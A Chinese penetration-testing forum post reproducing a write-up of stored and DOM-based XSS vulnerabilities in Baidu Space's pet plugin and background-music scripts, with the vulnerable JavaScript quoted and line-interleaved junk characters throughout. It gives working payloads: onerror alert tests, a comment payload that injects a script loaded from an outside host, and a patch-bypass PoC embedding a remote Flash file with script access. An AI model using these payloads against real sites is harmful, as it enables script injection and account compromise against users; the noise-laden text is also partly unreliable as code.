中国网络渗透测试联盟

标题: hi.baidu Xss 漏洞 [打印本页]

作者: admin    时间: 2013-8-24 11:51
标题: hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
1 }3 w& U! b+ B) ~% \% m: E& v
! ^  U3 k; o8 ^1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
1 K! P* W0 a& A2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
  x. ^; ~% l& o9 Y3 J, c9 _% `8 r6 c' d' f" Q6 M. Q" k
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
* w* g" V2 N1 w; y% y其中BdUtil.insertWBR为  
# k- y- H- X8 `7 d4 g- yfunction(text, step) {  
; r. b: K5 c9 ?    var textarea = textAreaCache || getContainer();  
( T; i/ L; G9 b" p$ s& }( _# P    if (!textarea) {  " G- _% E9 T! L* h" W3 d4 V: J6 D
        return text;  3 _, g* ^9 ~4 q
    }  $ O. F0 D! v! x
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
0 P! V/ c$ `  `6 d    var string = textarea.value;  0 {! V1 D7 N6 o4 S+ B9 Z6 \4 K, A# n
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
. b( n: w: L; ]! M$ p& [    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  * Y5 A6 N7 Q, D0 `- i; D! e5 K  m8 E
    return result;  
+ q& m+ X% X1 f, o}  ! s$ L) X6 D% U% X3 D
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  2 `- v  f: R, Z* \/ R
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
* u" S' k2 G" i& m% Q: O   7 O! y8 Q# {- E$ g6 m8 ]
二:creatbgmusic() Dom-Xss Bug  
- A  h2 P1 E8 c! [6 X8 h; [百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
( V# u2 r7 K, t1 w; h: ~) v# q8 l1 d5 e% E6 I6 z/ i, G
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  9 B2 J' k2 D4 b5 a; `
; Z6 q2 W; c0 A  L
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  0 j" F2 a! D/ K! J
    //传入的murl赋值到bgmusic1和bgmusic2中  
, ]4 ~4 z- L- |2 `    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
9 f. ]) Z  s7 A  D7 J* ^    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  " d8 M% s7 ]. }! ]5 F
    if (musicnum <= 1) {  6 b% y& q) j" q( H/ j$ j, [( _
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
' E3 @# ^, a4 V$ p' U1 k. x8 A9 j    }  
7 {& f5 h7 A- P9 V; p$ S    bgmusic1 += "</OBJECT>";  
2 I; i( {4 {# X    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  0 r5 q2 a8 Q" V
    if (musicnum <= 1) {  3 c' M# t$ f8 {- X
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  % a* X; S. g  x+ y- X! K
    }  
4 F! o, y2 |' u' X5 i* M1 n/ g( f    bgmusic2 += "> </EMBED>";  
: u+ S) a0 Q  E" K# O; q: e" d8 \6 j    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
1 {/ q% }; O1 x/ w# a    var bgmus = detectWMP();  
% c) {0 m) c3 R: j; y1 X    if (functype == "FckMusicHelper") {  
4 T& r' H& v, K6 @7 |8 W        if (bgmus.installed) {  
: u1 Y% ^0 c# {# l: ~3 s+ e4 L% T            if (bgmus.type == "IE") {  % |" c6 w& u. `) E$ b$ f
                return bgmusic1;  
# L6 L+ T, X3 r( B            } else if (bgmus.type == "NS") {  
* C* Y) w1 U( A* k                return bgmusic2;  
; ?; S2 S/ R! h            }  4 P7 D9 \! s# h$ a; Y
        } else {  ; e. B- H) b- t: F' B4 j4 C9 @
            return bgmusic3;  
2 E' @* g; A+ A& X) Y        }  7 H: z: j+ M! }; n$ K, |$ e9 o7 o
    } else {  
% g4 F  S0 I* @( ]+ G# o1 n! a3 ?& S0 [        if (bgmus.installed) {  
7 s2 ?2 F4 h5 f$ M1 W. S' b            //document.write 直接输出bgmusic变量 导致xss  % S8 ^* y# [/ p8 n* a$ G' S
            if (bgmus.type == "IE") {  9 K8 N& i! z* f9 q
                document.write(bgmusic1);  
- o: K0 {2 D7 |# p$ s' }) H            } else if (bgmus.type == "NS") {  
' w8 H7 Y; D% B- p                document.write(bgmusic2);  
5 {1 v8 Q' b" @( O  O' T            }  9 u% Y) t/ d5 e8 u: }) ?) e
        } else {  , c  v. s4 N& A5 X1 U- Q  V3 R  }
            document.write(bgmusic3);  
* C4 s. s& p$ |2 B9 y$ \% z* C1 N        }  
+ W) w% B7 S- E0 d5 ~+ A. g& O        return "";  
( Y0 ~3 Z2 `% A: X9 m    }  
& z& H7 g  T& x5 B}  
: X' K7 x: O2 p/ b8 t- Z' b* K9 @! W
% B2 a; l1 e: w) s/ g9 W1 U5 x在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  . Q6 l6 m$ k- J0 B+ `5 v: I
- K/ g" h" w, Q* [! i+ d
function initBlogTextForFCK(){  
/ h) }  M3 L5 a: o. h//fck init music  
' K/ w' m$ u$ D3 U( Cif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  3 q: g$ K5 R4 T2 v+ @/ m, G
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
& W$ g/ R- I, d  c) s  wvar isAutoPlay=true;  
) K; _6 l$ n3 ^7 `( f. B" \for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  * {$ ~; T% K7 ]  `0 M
  var img=imgBox;  7 s( ?" r* q3 N# N# @3 u1 X9 k
  if(img.getAttribute(’rel’)){        
( B* |: z+ L3 ^: N0 Z9 `   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  . C6 Y. l" `" m4 y3 u0 w8 C3 y
   var musicDiv = document.createElement("SPAN");  
+ Q+ v, s9 i3 }   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  ! B! r# h$ L- w
     ) F; y) z! f* B
      ..........................  8 D' L$ \+ G1 m: `8 a4 z) Z* C7 Q" g
     
' K2 t- H: C, ~; }   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
% Z" Q3 h8 U, Z; Y7 _( j4 q   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  / i) S: {+ I" ]
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
0 z% h% A3 @: t" V2 ^! f   musicDiv.innerHTML=shtml;  5 h; K: ]- \$ g- f; ~' l$ B
   i--;n--;  / @0 n3 {! g2 H. X& l
  }  
2 f8 i4 N7 k- j" Q  ~, i- C  D( u}  
9 [& g$ [( g. h3 S. w5 Y
: ]6 s8 ^; ~2 d1 `( ~从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  - d+ g+ g" ^5 q
   
, G  N' Z0 Q* g( w# k8 V! B6 d; w测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
+ B9 F8 p9 X5 y
) d& t: M6 O1 E9 R+ ~- L9 R等待官方补丁  
; U+ K2 t; w8 U) ]9 q% K! i9 U% q
6 a$ x: s4 D9 I) z$ dupdate 2010年5月13日   5 }& i5 E" H6 J+ i1 b

, |* ^  O, s2 T( G2 C官方补丁:  5 K% ?6 z* u, S' D8 u
1 g' L, q7 V# s1 h' r
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
& c' l! r# ~2 N8 M/ g改为:  " v: |5 \: m+ e) [0 n3 r
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  + X/ i/ k* v# Y8 Q. Y! Q3 }4 b1 v
* Z; U  @! z* Y$ {# T5 J
update 2010年5月13日 21:50:37  
: {4 L% T2 p# k+ Z- K: ^% c$ k4 r! o# a7 O  p+ T& j2 N
补丁存在漏洞 没有过滤" 可以继续跨:  ) v  g+ T4 J, ]4 k7 d: I2 ^2 @

- ?( Y& ]6 s2 `( Y8 o$ NNEW POC:  ' l1 P( R' `* j- r+ i+ Z
# R- h1 T( \8 n4 m2 l& z& @
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" - R& u7 h$ i! f) U  M* i

6 j8 W! F4 ?8 q2 k3 wallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
- L7 r( l) A1 x
) U: ^3 L& K/ L6 q




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2